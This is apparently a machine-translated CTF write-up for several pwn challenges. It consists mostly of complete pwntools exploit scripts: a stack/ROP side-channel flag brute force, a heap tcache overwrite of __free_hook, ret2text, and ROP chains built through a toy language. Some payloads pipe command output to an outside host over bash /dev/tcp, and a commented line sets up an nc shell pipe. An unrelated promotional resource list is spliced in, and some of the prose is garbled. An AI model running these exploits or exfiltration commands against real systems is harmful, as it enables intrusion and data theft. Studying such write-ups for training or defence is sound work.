dataleak
Two \ x00 can be skipped with "\ or / but each time" \ is used, 4 bytes will be copied to buf, so the last 3 bytes of data cannot be leaked. Therefore, / \ is used to control the leaked string with garbage data filling.
exp: #!python #coding:utf-8 from pwn import * import subprocess, sys, os from time import sleep sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) elf_path = './cJSON_PWN' ip = '124.70.202.226' port = 2101 remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6' LIBC_VERSION = '' HAS_LD = False HAS_DEBUG = False context(os='linux', arch='amd64') context.log_level = 'debug' def run(local = 1): LD_LIBRARY_PATH = './lib/' LD = LD_LIBRARY_PATH+'ld.so.6' global elf global p if local == 1: elf = ELF(elf_path, checksec = False) if LIBC_VERSION: if HAS_LD: p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH}) else: p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH}) else: p = process(elf_path) else: p = remote(ip, port) run(0) payload = ' '*0xc + '"\\' p.send(payload) payload = 'a'*8 + ' '*4 + '"\\' p.send(payload) part1 = p.recv(11) payload = 'a'*5 + ' '*7 + '/*' p.send(payload) payload = ' '*12 + '/*' p.send(payload) part2 = p.recv(11) complete = part1 + part2 sa('data', complete) p.interactive()
[I > all resources acquisition < I]
1. 200 out of print e-books that can't be bought
2. Video materials inside 30G safety factory
3. 100 src documents
4. Common safety interview questions
5. Analysis of classic topics in ctf competition
6. Complete kit
7. Emergency response notes
8. Network Security Learning Route
gadget
There is stack overflow, but only system calls with call numbers 0, 5 and 37 can be used. 5 is open under 32 bits, so the idea is to switch the heavy's gate to 32 bits to open the flag, then return to 64 bit read flag, and finally find a gadget to obtain the flag on the side channel.
The main difficulty lies in finding gadgets. There are four important gadgets. First, 0x40A756 is used to set rdx, but the zf bit needs to be 1 to execute normally, so 0x40106D is used to set zf. Then 0x40172A is used for stack migration, and finally 0x408F72 side channel is used to get the flag.
exp: from pwn import * read_addr=0x401170 retfq=0x4011EC int80=0x4011F3 syscall=0x408865 flag=0x40D480 pop_rax=0x401001 pop_rbp=0x401102 pop_rbx_24=0x403072 pop_rcx=0x4092D0 pop_rdi_8=0x401734 pop_rsi_16=0x401732 pop_rdx_48=0x40A756 flag_addr=0x40D260 lea_rsp=0x40172A set2z=0x40106D cmpa=0x408F72 loop=0x40A765 bit32=p64(0x23) bit64=p32(0x33) fmap=[ord('_')] fmap+=[i for i in range(ord('a'),ord('z')+1)] fmap+=[i for i in range(ord('0'),ord('9')+1)] fmap+=[i for i in range(ord('A'),ord('Z')+1)] fmap+=[0,ord('@'),ord('-'),ord('{'),ord('}'),ord('?'),ord('!')] f='' c=len(f) if_ok=False while(not if_ok): caddr=flag+c sign=0 for guess in fmap: #sh=process('./gadget') sh=remote('121.37.135.138',2102) payload="a"*0x38+p64(pop_rdi_8)+p64(flag_addr)+p64(0)+p64(read_addr)+p64(set2z)+p64(pop_rdx_48)+p64(0)*7 payload+=p64(pop_rbp)+p64(flag_addr+8-0x28+0x20)+p64(lea_rsp) #print(hex(len(payload))) sh.send(payload.ljust(0xc0,'a')) payload2="flag\x00\x00\x00\x00" payload2+=p64(retfq)+p64(pop_rbx_24)+bit32+p32(flag_addr)+p32(0)*3+p32(pop_rcx)+p32(0)+p32(pop_rax)+p32(5)+p32(int80) payload2+=p32(retfq)+p32(pop_rdi_8)+bit64 payload2+=p64(flag_addr+len(payload2)+24)+p64(0)+p64(read_addr) #print(hex(len(payload2))) sh.send(payload2.ljust(0xc0,'\x00')) payload3=p64(pop_rdi_8)+p64(3)+p64(0)+p64(pop_rsi_16)+p64(flag)+p64(0)*2+p64(pop_rax)+p64(0)+p64(syscall) payload3+=p64(pop_rdi_8)+p64(caddr+1)+p64(0)+p64(read_addr) payload3+=p64(pop_rsi_16)+p64(0)+p64(caddr-0x38)+p64(0)+p64(pop_rax)+p64(guess)+p64(cmpa) #print(hex(len(payload3))) sh.send(payload3.ljust(0xc0,'\x00')) payload4='\x00'*0xf+p64(0) sh.send(payload4) try: sh.send('ok') sh.recv(timeout=0.5) if(not guess): if_ok=True sign=1 break f+=chr(guess) print(f) sh.close() sign=1 break except: sh.close() if(not sign): f+='#' c=c+1 print(f) sh.interactive()
Christmas_song
The difficulty is to understand the syntax of the slang language, mainly in the source com directory Y and scanner L in these two files. It can be seen that the variable syntax is defined as gift. The variable name is xxx can be an integer or a string, where is is equivalent to the operator '='. When it is a string, the variable is actually a heap block address. The syntax of the calling function is reindeer function name delivering gift parameter 1 Parameter 2 parameter 3 brings back gift return value, The return value can be omitted. It can be seen from the reverse that the Dancer and Dasher functions can open and read the flag respectively, and then compare the read flag side channel with the pracer function equivalent to strncmp to obtain the flag.
exp: from pwn import * import string code=""" gift a is "/home/ctf/flag"; gift b is 0; gift c is 0; gift d is 64; gift len is {}; gift test is "abcde"; gift flag is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; gift guess is "{}"; reindeer Dancer delivering gift a b c brings back gift fd; reindeer Dasher delivering gift fd flag d; reindeer Prancer delivering gift flag guess len brings back gift e; gift f is test+e; reindeer Dancer delivering gift f b c; """ flag="" if_ok=False dic = '_'+string.ascii_letters + string.digits + "}" while(not if_ok): for x in dic: sh=remote("124.71.144.133",2144) flag=flag+x c=len(flag) c_code=code.format(c,flag) sh.sendlineafter("(EOF to finish):\n",c_code+"EOF") sh.recvuntil('error') res=sh.recvline() #print(res) if(res[-6:-1]!="abcde"): flag=flag[:-1] sh.close() else: sh.close() print(flag) if(x=='}'): if_ok=True break
Christmas_bash
The offset of sleep is 0xed850, but the corresponding libc cannot be found. Finally, it is found that the version is 2.34. Calculate the values of system, pop, RDI and environ according to sleep, use them to define variables, and then define a storage VM_ call_ The variable stack of rsp when lambda returns. Then a function that does not exist is called, and its return value is the address on a heap, and its offset from the previously defined variable address is debugged. Then copy the stack address on the environ to the stack, and then get the VM according to the offset_ call_ rsp when lambda returns. Finally, the values of each variable are copied to rsp with memcpy to construct the rop chain.
code: code=""" gift libcbase is sleep-972880; gift environ is libcbase+2232000; gift stack is sleep-16; gift len is 8; gift cmd is "bash -c '/home/ctf/getflag > /dev/tcp/ip/7777'"; gift cmdaddr is cmd+1; reindeer haha delivering gift len len len brings back gift addr; gift stackaddr is addr+5848; reindeer Vixen delivering gift stackaddr environ len; gift stack is stack-1184; gift poprdi is libcbase+190149; gift system is libcbase+346848; gift ret is poprdi+1; gift cmdaddraddr is addr+6104; gift systemaddr is addr+6488; gift poprdiaddr is addr+6456; gift retaddr is addr+6520; reindeer Vixen delivering gift stack retaddr len; gift stacka is stack+8; reindeer Vixen delivering gift stacka poprdiaddr len; gift stacka is stacka+8; reindeer Vixen delivering gift stacka cmdaddraddr len; gift stacka is stacka+8; reindeer Vixen delivering gift stacka systemaddr len; gift stacka is stacka+8; """
Christmas_Wishes
"Character truncation parserstring heap length statistics logic, and then a very long string can be copied, resulting in heap overflow. The key has the same name as free and tcacheattack
exp: #!python #coding:utf-8 from pwn import * import subprocess, sys, os from time import sleep def chose(idx): sla('Chose', str(idx)) def add(name = '', value = ''): global payload payload += '"{}":"{}",'.format(name, value) def package(content): if len(content) & 1: print('eeee') ans = '' for i in range(len(content)/2): ans += '\\u' + content[i*2:i*2+2].encode('hex') return ans libc_addr = 0x7fd19f744000 loadlibc() libc.address = libc_addr # print(hex(libc.sym['__free_hook'])) shell = 'bash -c \'/This_is_your_gift > /dev/tcp/ip/7777\'' # shell = 'nc ip 7777|/bin/bash|nc ip 9999' global payload payload = '' # for i in range(10): # add('a'*0x18 + str(i), 'a'*0x20) add('a'*0x18 + 'a1', 'a'*0x20) add('a'*0x18 + 'a2', 'a'*0x20) add('a'*0x18 + 'a3', 'a'*0x20) add('a'*0x18 + 'a4', 'a'*0x20) add('a5', shell) add('a'*0x18 + 'a1', 'b'*0x10) add('a'*0x18 + 'a3', 'b'*0x10) add('a'*0x20 + '\\"' + 'a'*0x6 + package(p64(0x31)) + package(p64(libc.sym['__free_hook'])), 'a'*0x20) add(package(p64(libc.sym['system'])), 'a'*0x10) add('a5', 'aa') payload = '{' + payload + '}' print(payload) with open('payload', 'w') as f: f.write(payload) payload: {"aaaaaaaaaaaaaaaaaaaaaaaaa1":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa2":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa3":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa4":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","a5":"bash -c '/This_is_your_gift > /dev/tcp/49.232.202.102/7777'","aaaaaaaaaaaaaaaaaaaaaaaaa1":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaa3":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"aaaaaa\u3100\u0000\u0000\u0000\u705e\u909f\ud17f\u0000":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","\u50ce\u789f\ud17f\u0000":"aaaaaaaaaaaaaaaa","a5":"aa",}
Checkin_ret2text
If the automation fails to write, the semi-automatic run will download the file first, and then manually analyze the corresponding parameters before 151 lines of pause
exp: #!python #coding:utf-8 from pwn import * import subprocess, sys, os from time import sleep from hashlib import sha256 import base64 sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) elf_path = './x2.elf' ip = '123.60.82.85' port = 1447 remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6' LIBC_VERSION = '' HAS_LD = False HAS_DEBUG = False context(os='linux', arch='amd64') context.log_level = 'debug' def run(local = 1): LD_LIBRARY_PATH = './lib/' LD = LD_LIBRARY_PATH+'ld.so.6' global elf global p if local == 1: elf = ELF(elf_path, checksec = False) if LIBC_VERSION: if HAS_LD: p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH}) else: p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH}) else: p = process(elf_path) else: p = remote(ip, port) def debug(cmdstr=''): if HAS_DEBUG and LIBC_VERSION: DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/' cmd='source /opt/patchelf/loadsym.py\n' cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so\n' cmdstr=cmd+cmdstr gdb.attach(p, cmdstr) pause() def loadlibc(filename = remote_libc_path): global libc libc = ELF(filename, checksec = False) def one_gadget(filename = remote_libc_path): return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' ')) def str2int(s, info = '', offset = 0): if type(s) == int: s = p.recv(s) ret = u64(s.ljust(8, '\x00')) - offset success('%s ==> 0x%x'%(info, ret)) return ret def chose(idx): sla('Chose', str(idx)) def add(idx, size, content = '\n'): chose(1) sla('Index', str(idx)) sla('Size', str(size)) sa('Content', content) def edit(idx, content): chose(2) sla('Index', str(idx)) sa('Content', content) def free(idx): chose(3) sla('Index', str(idx)) def show(idx): chose(4) sla('Index', str(idx)) def hash_digit(af, hash_hex): print(af, hash_hex) ch = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' for i in ch: for j in ch: for k in ch: for h in ch: if sha256(i + j + k + h + af).hexdigest() == hash_hex: return i + j + k + h def get_file(filename): p.recvuntil('sha256(xxxx + ') hash = p.recvuntil(')')[:-1] p.recvuntil('== ') hash_hex = p.recvuntil('\n')[:-2] ans = hash_digit(hash, hash_hex) print(ans) sla('give me xxxx:\n', ans) base64_e = p.recvuntil('==end==\n')[:-8] with open(filename, 'wb') as f: global elf elf = base64.b64decode(base64_e) f.write(elf) def analysis(begin_addr): begin_addr += 0x18 ranks = [] def u32(content): return int(content[::-1].encode('hex'), 16) def insert(vec): for i, v in enumerate(ranks): if vec[0] < v[0]: ranks.insert(i, vec) return ranks.append(vec) def get_a_string(addr): ans = '' while elf[addr] != '\0': ans += elf[addr] addr += 1 return ans addr = begin_addr n = ord(elf[addr+1]) addr += 13 for i in range(n): rk = u32(elf[addr+3: addr+7]) va = u32(elf[addr+9]) if va == 0x88: if elf[addr+7: addr+9] == '\xf7\xd0': va = 0xff addr -= 1 if va == 0x2b: if elf[addr+7: addr+9] == '\x88\x85': va = 0 addr -= 3 # print(hex(rk)) addr += 0x10 insert((rk, va)) # for i in ranks: # print(hex(i[0]), hex(i[1])) print(hex(addr)) addr += 0xa string_addr = addr + u32(elf[addr: addr+4]) + 4 # print(hex(string_addr)) string = get_a_string(string_addr) # print(string) ans = '' for i, v in enumerate(ranks): ans += chr(ord(string[i])^v[1]) return ans run(0) get_file('x2.elf') pause() import datas data = datas.data.split('\n')[-2::-1] for i, v in enumerate(data): tmp = v.split(' ') if len(tmp) == 1 or len(tmp) == 2: if tmp[0] == 'EOF': data[i] = 'a' * int(tmp[1], 16) else: data[i] = analysis(int(tmp[0], 16)) else: data[i] = ['0'] * int(tmp[0]) data[i][int(tmp[1])] = tmp[2] print(data) for i in data: if type(i) == str: sa(':', i) else: p.recvuntil(':') for j in i: p.send(j+' ') backdoor = p64(0x401354) * 10 payload = 'a'*datas.offset + backdoor p.sendline(payload) sleep(0.1) p.sendline('cat flag') p.interactive() Fill in the analysis results datas.py data = '''8 0 31292 dde6 DA3E 8 0 0 C926 6 0 0 EOF 24 ''' offset = 0x0
Then he ran out